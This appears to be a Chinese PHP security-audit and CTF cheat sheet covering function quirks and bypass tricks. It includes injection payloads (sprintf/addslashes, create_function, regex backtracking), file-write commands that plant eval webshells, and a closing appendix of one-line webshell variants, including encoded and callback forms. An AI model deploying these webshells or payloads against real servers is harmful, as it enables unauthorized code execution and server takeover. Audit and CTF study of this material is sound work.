前言

PHP 函数众多,每个函数都有各自的边界行为和特性,审计中经常因为不了解某个函数的”潜规则”而错过利用链。本文整理 PHP 常见函数在安全审计中的特性、边界条件和绕过技巧,当作速查手册用。


一、运算符与语言特性

1.1 赋值 vs 逻辑运算符优先级

赋值的优先级高于 andor,但低于 &&||

1
2
3
4
5
6
7
8
9
10
11
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
// 相当于 ($v0 = is_numeric($v1)) and is_numeric($v2) and is_numeric($v3);
// 只要 v1 是数字,$v0 就是 1,后面的 and 不影响赋值

$v0 = is_numeric($v1) && is_numeric($v2) && is_numeric($v3);
// 相当于 $v0 = (is_numeric($v1) && is_numeric($v2) && is_numeric($v3));
// && 是整体求值后赋值

$v0 = is_numeric($v1) && is_numeric($v2) || is_numeric($v3);
// 相当于 $v0 = ((is_numeric($v1) && is_numeric($v2)) || is_numeric($v3));
// && 优先级高于 ||

审计要点: $check = cond1 and cond2 这种写法 cond2 不生效,$check 恒为 cond1 的结果。

1.2 命名空间

声明命名空间的文件,其所有代码都属于该空间:

1
2
3
4
5
6
7
<?php
// 声明本文件中的所有代码都属于 App\Controllers 这个空间
namespace App\Controllers;

class UserController {
// ...
}

使用其他空间的类:

1
2
3
4
5
6
7
8
9
10
11
<?php
// 直接 new 一个完整路径的类
$user1 = new \App\Models\User(); // 根空间下的 App\Models\User
$user2 = new \App\Services\UserService();

// 引入其他空间的类
use App\Models\User;
use App\Services\UserService;

// 使用别名(解决同名冲突或简化长名)
use VeryLongVendorName\SubModule\SomeService as MyService;

要点: 未加命名空间属于全局命名空间。在命名空间内部访问全局类/函数/常量需在前面加 \

1
2
3
namespace MyApp;
$dt = new \DateTime();
$json = \json_encode($data);

1.3 $GLOBALS 超全局数组

$GLOBALS 引用全局作用域中的所有变量,可以用来访问被作用域屏蔽的变量,或者在无回显情况下通过变量覆盖读出所有变量值。


二、类型比较与弱类型绕过

2.1 intval()

1
2
3
4
5
6
7
8
intval($a)           // 数组返回 0
intval($num, 0) // 第二个参数为 0 时根据前缀判断进制
intval(0x117c, 0) // 4476(十六进制)
intval(010574, 0) // 4476(八进制)
intval(4476, 0) // 4476(十进制)
intval(4476e3) // 4476000(科学计数法自动计算)
intval(+4476) // 4476(前面的 + 号不影响)
intval(3.14) // 3(取整,非四舍五入)

利用:intval($a) > 某个值 校验时,可用科学计数法 4476e3 或十六进制绕过。数组直接返回 0。

2.2 strpos() / stripos() / strripos()

1
2
3
strpos($num, "0")    // 在字符串中找 "0",找不到返回 false,找到返回首次出现位置(可能为 0)
stripos($f, 'ctfshow') // 不区分大小写
strripos($f, 'ctfshow') // 找最后一次出现的位置

审计要点: strpos($str, '0') 结果可能是 0(找到且在第 0 位),0 == false 在弱类型下成立,必须用 === false 判断。

2.3 in_array()

1
in_array($n, $allow)  // 检查 $n 是否在数组 $allow 中,弱类型比较

in_array(0, ['php', 'flag']) 会返回 true,因为 0 == 'php' 在弱类型下成立(字符串被转为数字 0)。

2.4 strcmp() / strcasecmp()

1
2
3
strcmp("apple", "banana")   // 返回 -1
strcmp("zoo", "apple") // 返回 1
strcmp("hello", "hello") // 返回 0

传入数组返回 nullnull == 0 绕过比较。

2.5 md5() / sha1()

1
2
3
4
5
6
7
8
// 数组返回 null
md5([]) === null // true

// Error/Exception 对象绕过强比较(PHP7)
$payload = "1";
$a1 = new Error($payload, 1);
$a2 = new Error($payload, 2);
// md5($a1) === md5($a2) → true(同一行实例化,__toString() 输出相同)

2.6 is_file() — 目录溢出

1
2
3
4
5
if (!is_file($file)) {
highlight_file(filter($file));
}
// 传入 /proc/self/root/proc/self/root/...(多层嵌套)/var/www/html/flag.php
// /proc/self/root 指向根目录,多层嵌套后 is_file 返回 false,但仍可读取

三、正则表达式

3.1 preg_match()

1
2
3
4
preg_match('/^php/i', $a)     // i = 不区分大小写
preg_match('/^php/im', $a) // m = 多行模式,^ $ 匹配每行开头/结尾
preg_match('/.+?ctfshow/is', $f)
// . 匹配任意字符(不含换行符),+? 非贪婪,s 让 . 也匹配换行符

3.2 回溯绕过(PHP 变长回溯限制)

preg_match('/.+ctfshow/is', $f) 是贪婪匹配的经典例子,PHP 的 pcre.backtrack_limit 默认 100 万,发送超长字符串触发回溯耗尽,preg_match 返回 false(非 0 非 1),导致 if(preg_match(...)) 判断失败。

1
2
# 绕过 payload
payload = 'a' * 1000000 + 'ctfshow'

3.3 非贪婪模式

/^php/i 只匹配以 php 开头;加上换行符 %0aphp 可在 m 模式下绕过。/.+?ctfshow/is 中的 +? 表示尽可能少地匹配。


四、字符串处理函数

4.1 trim() / ltrim() / rtrim()

1
2
trim($str)  // 去除:空格(%20)、制表符(%09)、换行符(%0a)、回车符(%0d)、空字节(%00)、垂直制表符(%0b)
// 但不去除换页符(%0c)

利用: 如果 trim 去除了 %00 但后续又是 C 风格函数,可用 %0c 绕过(不被 trim 去除)。

4.2 hex2bin()

1
2
3
$hex = "48656c6c6f20576f726c64";  // "Hello World" 的十六进制
$binary = hex2bin($hex);
echo $binary; // Hello World

常见于免杀马中:eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))

4.3 basename()

1
2
basename("/var/www/html/index.php")   // index.php
basename("/var/www/html/") // html

4.4 pathinfo() 及绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$path = "/var/www/html/index.php";
$info = pathinfo($path);
// [dirname] => /var/www/html
// [basename] => index.php
// [extension] => php
// [filename] => index

// 获取扩展名
$ext = pathinfo($path, PATHINFO_EXTENSION); // php

// --- 绕过技巧 ---
pathinfo("shell.php", PATHINFO_EXTENSION); // php
pathinfo("shell.php/.", PATHINFO_EXTENSION); // (空) — Windows 下会被修正为 .php
pathinfo("shell.php. ", PATHINFO_EXTENSION); // (空)
pathinfo("shell.php/..", PATHINFO_EXTENSION); // (空)

4.5 sprintf() — 格式化注���

1
2
3
4
$pass = sprintf("and pass='%s'", addslashes($_GET['pass']));
// ?name=admin&pass=1%1$' or 1=1--+
// %1$\ 是不合法的格式字符,会被替换成空
// 最终: name='admin' and pass='1' or 1=1--+

利用: %\ 被当作非法格式符直接吃掉,配合 addslashes 逃逸单引号。

4.6 其他字符串函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// strrev — 反转字符串
strrev("Hello") // olleH

// strstr / stristr — 截取字符串
strstr("user@example.com", '@') // @example.com(区分大小写)
stristr("USER@EXAMPLE.COM", '@') // @EXAMPLE.COM(不区分大小写)
stristr("name@example.com", '@', true) // name(返回前面部分)

// strtoupper — 转大写
strtoupper("hello") // HELLO

// explode — 分割字符串为数组
explode(",", "apple,banana,orange") // ['apple', 'banana', 'orange']

// implode — 连接数组成字符串
implode('-', ['苹果', '香蕉', '橙子']) // 苹果-香蕉-橙子

// str_split — 把字符串分割成指定长度的数组
str_split("HelloWorld", 3) // ['Hel', 'loW', 'orl', 'd']

// mb_strpos — 多字节字符串查找位置
mb_strpos("こんにちは世界", "世界", 0, "UTF-8") // 5

// mb_substr — 多字节字符串截取
mb_substr("こんにちは世界", 0, 5, "UTF-8") // こんにちは

// iconv — 字符编码转换
iconv($source, $goal, $text)
// 可配合 filter chain 实现 LFI to RCE

五、回调函数与代码执行

5.1 call_user_func()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 调用普通函数
call_user_func('system', 'ls');

// 调用静态方法
class Greeter {
public static function greet($name) {
return "Greetings, $name!";
}
}
$result = call_user_func(['Greeter', 'greet'], 'Alice');

// 调用对象方法
$calc = new Calculator();
$result = call_user_func([$calc, 'add'], 5, 3);

5.2 call_user_func_array()

1
2
3
4
call_user_func_array([$calc, 'multiply'], [4, 5]);

// 不实例化直接调用构造函数
call_user_func_array([new test(), 'test'], []);

5.3 有 __toString() 的类 — 构造 eval 执行

1
2
3
4
5
// eval("echo new $v1($v2());");
// ?v1=Exception&v2=system('ls')
// ?v1=CachingIterator&v2=system('ls')
// ?v1=ReflectionClass&v2=system('tac flag.txt')
// ?v1=FilesystemIterator&v2=getcwd

5.4 create_function()(PHP < 8.0)

1
2
$add = create_function('$a, $b', 'return $a + $b;');
echo $add(5, 3); // 8

该函数内部创建匿名函数 function __lambda_func($a, $b) { return $a + $b; }

注入技巧: 不能直接用 ) 闭合,因为参数部分 $a, $b 作为函数签名会被 PHP 解析。需用 } 闭合函数体:

1
2
create_function('$a', '}system("id");//')
// 生成: function __lambda_func($a) { }system("id");// }

5.5 array_walk() — 遍历数组回调

1
2
3
4
5
$fruits = ['a' => 'apple', 'b' => 'banana'];
array_walk($fruits, function(&$value, $key) {
$value = strtoupper($value);
});
// 回调函数接收:第一个参数是值(引用传值可修改),第二个是键

在类中使用 array_walk($this, ...) 可以遍历类的所有公有属性,结合原生类利用。

5.6 usort() — 自定义排序 + 飞船运算符

1
2
3
4
usort($users, function($a, $b) {
return $a['age'] <=> $b['age']; // <=> 飞船运算符
});
// $a <=> $b:$a < $b → -1, $a == $b → 0, $a > $b → 1

5.7 register_shutdown_function / register_tick_function

1
2
3
register_shutdown_function($func, $arg);  // 脚本结束时调用
register_tick_function($func, $arg); // 每个 tick 调用
declare(ticks=1);

可作为一句话木马的回调函数载体。

5.8 ob_start()

1
2
3
ob_start('system');       // 设置输出缓冲回调
echo 'ls'; // 缓冲内容 "ls"
ob_end_flush(); // 输出缓冲区内容时调用 system("ls")

六、数组与变量操作

6.1 get_defined_vars()

返回当前作用域中所有已定义变量的数组。常用于无参数 RCE 或信息收集。

1
2
3
// 配合 call_user_func 套娃
// ?f1=_&f2=get_defined_vars
// call_user_func(call_user_func($f1, $f2)) → get_defined_vars()

6.2 extract() — 变量覆盖

1
2
3
4
5
6
7
$data = ['name' => '张三', 'age' => 25];

extract($data, EXTR_SKIP); // 不覆盖已存在的变量
extract($data, EXTR_PREFIX_SAME, 'imp'); // 为冲突变量加前缀 imp_
extract($data, EXTR_PREFIX_ALL, 'var'); // 为所有变量加前缀 var_

// 默认 EXTR_OVERWRITE 会覆盖已有变量 — 造成变量覆盖漏洞

审计要点: extract($_GET)extract($_POST) 即经典的变量覆盖漏洞,可覆盖任何已定义变量。

6.3 parse_str() — 字符串解析为变量

1
2
parse_str($a, $b)  // 将 $a 字符串解析成数组存入 $b
parse_str("name=John&age=25&city=New+York"); // 无第二个参数时直接注册为变量

注意: 无第二个参数时,parse_str($_GET['q']) 等价于变量覆盖。

6.4 数���指针操作

1
2
3
4
5
6
7
8
9
$array = ['first' => '苹果', 'second' => '香蕉', 'third' => '橙子'];

key($array) // 'first' — 获取当前键
next($array) // 移动到下一个
current($array) // 当前值
end($array) // 移动到最后一个
reset($array) // 重置到第一个
array_pop($array) // 删除并返回最后一个元素
array_shift($array) // 删除并返回第一个元素

6.5 array_merge()

1
2
3
4
5
6
7
8
9
$array1 = ['a', 'b', 'c'];
$array2 = ['d', 'e', 'f'];
$result = array_merge($array1, $array2); // ['a', 'b', 'c', 'd', 'e', 'f']

// 关联数组 — 相同键后面的覆盖前面的
$array1 = ['name' => 'Alice', 'age' => 25];
$array2 = ['age' => 26, 'city' => 'New York'];
$result = array_merge($array1, $array2);
// ['name' => 'Alice', 'age' => 26, 'city' => 'New York']

6.6 array_rand()

1
2
3
$randomImages = ['a', 'b', 'c'];
echo array_rand($randomImages); // 输出随机键名,如 2
echo $randomImages[array_rand($randomImages)]; // c(按值取)

6.7 超全局数组 $_SERVER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$_SERVER['REMOTE_ADDR']        // 用户 IP
$_SERVER['HTTP_USER_AGENT'] // UA 字符串
$_SERVER['HTTP_REFERER'] // 来源页
$_SERVER['REQUEST_METHOD'] // GET/POST/PUT/DELETE
$_SERVER['REQUEST_URI'] // 完整 URI(含查询字符串)
$_SERVER['QUERY_STRING'] // ? 后的查询字符串
$_SERVER['HTTP_HOST'] // Host 头
$_SERVER['HTTPS'] // 是否 HTTPS
$_SERVER['SERVER_NAME'] // 服务器主机名
$_SERVER['SERVER_ADDR'] // 服务器 IP
$_SERVER['SERVER_PORT'] // 端口
$_SERVER['DOCUMENT_ROOT'] // 文档根目录
$_SERVER['SCRIPT_FILENAME'] // 当前脚本绝对路径
$_SERVER['PHP_SELF'] // 当前脚本文件名(相对根目录)
$_SERVER['SERVER_SOFTWARE'] // 服务器软件标识

七、文件操作与上传

7.1 $_FILES 超全局数组

只有当前端表单包含 enctype="multipart/form-data" 时才会产生。前端:

1
2
3
4
<form method="post" enctype="multipart/form-data">
<input type="file" name="userfile">
<input type="submit" value="上传">
</form>
1
2
3
4
5
$_FILES['userfile']['name']      // 客户端原始文件名
$_FILES['userfile']['type'] // 文件 MIME 类型
$_FILES['userfile']['size'] // 文件大小(字节)
$_FILES['userfile']['tmp_name'] // 服务器端临时文件路径
$_FILES['userfile']['error'] // 错误代码(0=成功)

7.2 is_uploaded_file()

检查文件是否通过 HTTP POST 上传,用于防止文件上传欺骗攻击。如果后面移动文件用的是 rename 而非 move_uploaded_file,则此检查毫无意义(攻击者可以在参数中指定任意已存在的临时文件路径)。

7.3 finfo_open / finfo_file — MIME 检测

1
2
3
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);

绕过方式:在文件头部写入合法 Magic Bytes(GIF89a / FF D8 FF / 89 50 4E 47)加上 PHP 代码。

7.4 getimagesize() — 图片信息验证

1
2
3
4
5
6
7
8
9
$imageInfo = getimagesize('image.jpg');
// 返回数组:
// [0] 图片宽度(像素)
// [1] 图片高度(像素)
// [2] 图片类型常量(IMAGETYPE_XXX)
// [3] HTML <img> 标签属性字符串
// ['mime'] MIME 类型
// ['channels'] RGB=3, CMYK=4
// ['bits'] 每种颜色位数

绕过方式:

  • XBM 图片中写 #define width 1337 #define height 1337(可放在任意位置)
  • WBMP 图片文件头 \x00\x00\x85\x85(必须放在开头)

7.5 fopen() / readfile() / file_get_contents()

1
2
3
fopen("php://filter/...", "r")         // 支持伪协议
readfile('example.txt') // 读取文件到输出缓冲区
file_get_contents('php://input') // 同样支持伪协议

ps: PHP 中已注册的伪协议见 phpinfo → Registered PHP Streams,常见的有 php://data://compress.zlib://phar://

7.6 realpath() — 路径规范化 + 目录穿越

1
2
3
realpath('/var/www/html/../html/./test.txt')  // /var/www/html/test.txt
realpath('/var/www/missing.txt') // false(文件不存在)
realpath('/var/www/html/../../etc/passwd') // /etc/passwd

利用: realpath 会对路径做规范化但不检查目标是否在允许范围内,存在目录穿越读取任意文件的可能性。


八、反射与类操作

8.1 ReflectionClass

1
echo new ReflectionClass('readflag');  // 回显类的定义信息

用于获取类的结构、注释、方法等信息,在 CTF 中常用于反序列化构造 pop chain 前的信息收集。

8.2 ReflectionMethod

可以获取类/函数中的文档注释,从注释里泄露出隐藏的 flag:

1
2
3
4
5
6
function exampleMethod($name) {
return true; // flag{hidden_here}
}

$method = new ReflectionMethod('exampleMethod');
echo $method->getDocComment(); // 回显注释中的 flag

完整用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class User {
/**
* 用户登录方法
* @param string $username
* @param string $password
* @return bool
*/
public function login(string $username, string $password): bool {
return true;
}
}

$method = new ReflectionMethod('User', 'login');
echo $method->getName(); // 方法名
echo $method->isPublic() ? '是' : '否'; // 是否公共
echo $method->getNumberOfParameters(); // 参数数量
foreach ($method->getParameters() as $param) {
echo $param->getName() . " (" . $param->getType() . ")";
}
if ($doc = $method->getDocComment()) {
echo $doc; // 文档注释
}

// 动态调用方法
$user = new User();
$result = $method->invokeArgs($user, ['admin', '123456']);

8.3 ReflectionFunction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 反射普通函数
function sayHello($name) {
return "Hello, $name!";
}
$ref = new ReflectionFunction('sayHello');
echo $ref->invoke('World'); // Hello, World!
echo $ref->invokeArgs(['World']); // 另一种调用方式

// 反射匿名函数
$func = function($a, $b) {
return $a + $b;
};
$ref = new ReflectionFunction($func);
echo $ref->invoke(5, 3); // 8

8.4 spl_autoload_register()

用于注册自动加载类的函数,有了这个就不需要手动 require 类文件:

1
2
3
4
5
6
7
spl_autoload_register(function ($class_name) {
$file = __DIR__ . '/classes/' . $class_name . '.php';
if (file_exists($file)) {
require_once $file;
}
});
$a = new Auth(); // 自动 require /classes/Auth.php

利用: 配合 phar 反序列化可以触发 spl_autoload_register 回调,甚至当 new $class() 中的类名可控时,可以指定任意类。


九、SSRF 相关函数

9.1 fsockopen()

1
2
3
4
5
6
7
8
9
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
// $errno = 错误序号, $errstr = 错误信息, 30 = 超时时间
if ($fp) {
fwrite($fp, "GET / HTTP/1.1\r\nHost: www.example.com\r\n\r\n");
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}

SSRF 利用: fsockopen 类似 curl_exec 系列函数,容易造成 SSRF 漏洞。但与 curl 不同的是,用 Gopherus 生成 fsockopen payload 时,直接读 // 后面的内容,不需要加 _

9.2 parse_url()

1
2
3
4
5
6
7
8
9
// https://john:secret123@www.example.com:8080/docs/report.pdf?year=2023&month=sep#summary
// scheme → https
// user → john
// password → secret123
// host → www.example.com
// port → 8080
// path → /docs/report.pdf
// query → year=2023&month=sep
// fragment → summary

SSRF 绕过中常见:parse_url 对 URL 各部分的解析与 curl/fsockopen 的实际请求行为可能不一致,利用差异绕过白名单限制。


十、其他常用函数与技巧

10.1 assert() — PHP5 vs PHP7

1
2
3
assert($_POST[1]);
// PHP5: 传入 1=phpinfo(); → 执行代码
// PHP7: 传入 1=phpinfo(); → 当作字符串,返回 true,不执行代码

PHP5 中 assert() 会对参数做 eval 操作,PHP7 中已废弃此行为。

10.2 gettext() / _()

1
2
3
4
5
// gettext() 用于翻译,别名是 _()
include("flag.php");
call_user_func(call_user_func($f1, $f2));
// ?f1=_&f2=get_defined_vars
// _() 等于 gettext(),再经 call_user_func 套娃返回所有已定义变量

10.3 filter_var()

1
2
filter_var('test@example.com', FILTER_VALIDATE_EMAIL)   // 验证邮箱
filter_var('https://example.com', FILTER_VALIDATE_URL) // 验证 URL

回调模式可以用作一句话马:

1
filter_var($_GET['b'], FILTER_CALLBACK, ['options' => 'system'])

10.4 进制绕过 — Octal / Hex 编码

1
2
3
4
5
// 八进制编码执行命令
$v = "\163\171\163\164\145\155"; // system
$v("\143\141\164\40\57\146\154\141\147"); // cat /flag

// 双引号内八进制会自动解析,可用于绕过关键字过滤

注意: 闭合括号时,前后的代码都不能报错。

10.5 无参数 RCE 常用技巧

1
2
3
4
5
6
7
8
9
10
11
12
show_source(scandir(getcwd())[2]);                               // 读当前目录第二个文件
print_r(show_source(next(array_reverse(scandir(getcwd()))))); // 绕过数字过滤
readfile(next(array_reverse(scandir(getcwd()))));
show_source(next(array_reverse(scandir(pos(localeconv()))))); // localeconv 替代 getcwd

// 等价函数
// Show_source / highlight_file / readfile / var_dump / var_export
// echo file_get_contents() / print_r(file())

// 替代函数
// pos(localeconv()) → getcwd()
// dirname('FILE') → getcwd()

10.6 内置函数读写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 读文件
file_get_contents('/flag')
readfile('/flag')
show_source('/flag')
highlight_file('/flag')
fopen('/flag', 'r')

// 写文件
file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST[1]);?>')
fwrite(fopen('/var/www/html/shell.php', 'w'), '<?php @eval($_POST[1]);?>')

// 复制/重命名
copy('/flag', '/var/www/html/flag.txt')
rename('/flag', '/var/www/html/flag.txt')

10.7 敏感函数速查

函数 风险
eval() / assert() (PHP5) 代码执行
system() / exec() / shell_exec() / passthru() / popen() / proc_open() / 反引号 命令执行
include() / require() / include_once() / require_once() 文件包含
file_get_contents() / fopen() 支持伪协议,可造成 SSRF / 文件读取
file_put_contents() / fwrite() 文件写入
unserialize() 反序列化 RCE
call_user_func() / call_user_func_array() 回调函数任意调用
extract() / parse_str() 变量覆盖
preg_replace('/.*/e', ...) (PHP5) /e 修饰符代码执行
create_function() 匿名函数代码注入
curl_exec() / fsockopen() / file_get_contents(url) SSRF
move_uploaded_file() / copy() 任意文件写入(路径可控时)

附:一句话木马速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// === 经典 ===
<?php @eval($_POST['cmd']);?>
<?php system($_POST['cmd']);?>
<?=eval($_POST[1]);?>

// === 回调型 ===
<?php @call_user_func($_GET['a'],$_GET['b']);?> // ?a=system&b=ls
<?php @array_map($_GET['a'],array($_GET['b']));?> // ?a=system&b=ls
<?php @array_walk($arr,$_GET['a']);?>
<?php @array_filter(array($_GET['b']),$_GET['a']);?>

// === 变量拼接 ===
<?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_REQUEST['cmd']);?>

// === http 头马 ===
<?=eval(next(getallheaders()))?>

// === 编码型 ===
<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>

// === 无 $ 符号 ===
// 访问 /1.php?1=system&2=ls
<?php $$_GET[1]($_GET[2]);?>